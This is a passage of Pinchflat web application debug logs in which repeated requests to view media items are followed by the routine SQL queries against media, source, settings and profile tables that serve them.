s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:59:41.586 [debug] QUERY OK source="settings" db=0.0ms idle=592.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:41.586 [debug] QUERY OK source="settings" db=0.0ms idle=28.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:41.586 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:41.587 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:41.587 [info] Sent 200 in 2ms 16:59:43.606 [info] GET /sources/2/media/6124 16:59:43.606 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6124", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 16:59:43.606 [debug] QUERY OK source="media_items" db=0.1ms idle=612.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6124] 16:59:43.606 [debug] QUERY OK source="tasks" db=0.0ms idle=612.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6124] 16:59:43.606 [debug] QUERY OK source="sources" db=0.0ms idle=612.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:59:43.607 [debug] QUERY OK source="settings" db=0.1ms idle=613.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:43.607 [debug] QUERY OK source="settings" db=0.1ms idle=47.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:43.607 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:43.608 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:43.609 [info] Sent 200 in 2ms 16:59:45.369 [info] GET /sources/1/media/6109 16:59:45.369 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6109", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 16:59:45.370 [debug] QUERY OK source="media_items" db=0.1ms idle=807.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6109] 16:59:45.370 [debug] QUERY OK source="tasks" db=0.0ms idle=376.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6109] 16:59:45.370 [debug] QUERY OK source="sources" db=0.2ms idle=376.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:59:45.370 [debug] QUERY OK source="settings" db=0.0ms idle=376.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:45.370 [debug] QUERY OK source="settings" db=0.0ms idle=376.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:45.371 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:45.371 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:45.372 [info] Sent 200 in 2ms 16:59:47.048 [info] GET /sources/3/media/6488 16:59:47.048 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6488", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 16:59:47.048 [debug] QUERY OK source="media_items" db=0.1ms idle=483.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6488] 16:59:47.049 [debug] QUERY OK source="tasks" db=0.1ms idle=55.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6488] 16:59:47.049 [debug] QUERY OK source="sources" db=0.1ms idle=55.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:59:47.049 [debug] QUERY OK source="settings" db=0.0ms idle=55.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:47.049 [debug] QUERY OK source="settings" db=0.0ms idle=55.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:47.049 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:47.050 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:47.050 [info] Sent 200 in 2ms 16:59:48.533 [info] GET /sources/2/media/6119 16:59:48.533 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6119", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 16:59:48.534 [debug] QUERY OK source="media_items" db=0.1ms idle=1484.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6119] 16:59:48.534 [debug] QUERY OK source="sources" db=0.0ms idle=1484.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:59:48.534 [debug] QUERY OK source="tasks" db=0.0ms idle=1484.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6119] 16:59:48.534 [debug] QUERY OK source="settings" db=0.0ms idle=1484.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:48.534 [debug] QUERY OK source="settings" db=0.0ms idle=967.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:48.534 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:48.535 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:48.535 [info] Sent 200 in 2ms 16:59:49.900 [info] GET /sources/2/media/6113 16:59:49.900 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6113", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 16:59:49.900 [debug] QUERY OK source="media_items" db=0.2ms idle=1365.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6113] 16:59:49.901 [debug] QUERY OK source="tasks" db=0.0ms idle=1366.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6113] 16:59:49.901 [debug] QUERY OK source="sources" db=0.1ms idle=1365.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:59:49.901 [debug] QUERY OK source="settings" db=0.0ms idle=1333.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:49.901 [debug] QUERY OK source="settings" db=0.0ms idle=332.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:49.901 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:49.902 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:49.902 [info] Sent 200 in 2ms 16:59:51.093 [info] GET /sources/3/media/6484 16:59:51.093 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6484", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 16:59:51.093 [debug] QUERY OK source="media_items" db=0.1ms idle=523.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6484] 16:59:51.093 [debug] QUERY OK source="tasks" db=0.1ms idle=99.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6484] 16:59:51.093 [debug] QUERY OK source="sources" db=0.2ms idle=99.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:59:51.094 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=100.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [381] 16:59:51.094 [debug] QUERY OK source="settings" db=0.2ms idle=100.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:51.094 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:51.094 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:51.095 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:51.095 [info] Sent 200 in 2ms 16:59:52.158 [info] GET /sources/2/media/6117 16:59:52.158 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6117", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 16:59:52.158 [debug] QUERY OK source="media_items" db=0.1ms idle=1063.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6117] 16:59:52.158 [debug] QUERY OK source="tasks" db=0.1ms idle=1064.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6117] 16:59:52.159 [debug] QUERY OK source="sources" db=0.2ms idle=1063.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:59:52.159 [debug] QUERY OK source="settings" db=0.0ms idle=1064.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:52.159 [debug] QUERY OK source="settings" db=0.1ms idle=588.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:52.159 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:52.160 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:52.161 [info] Sent 200 in 3ms 16:59:53.165 [info] GET /sources/3/media/6494 16:59:53.165 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6494", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 16:59:53.166 [debug] QUERY OK source="media_items" db=0.1ms idle=1006.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6494] 16:59:53.166 [debug] QUERY OK source="tasks" db=0.0ms idle=1006.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", 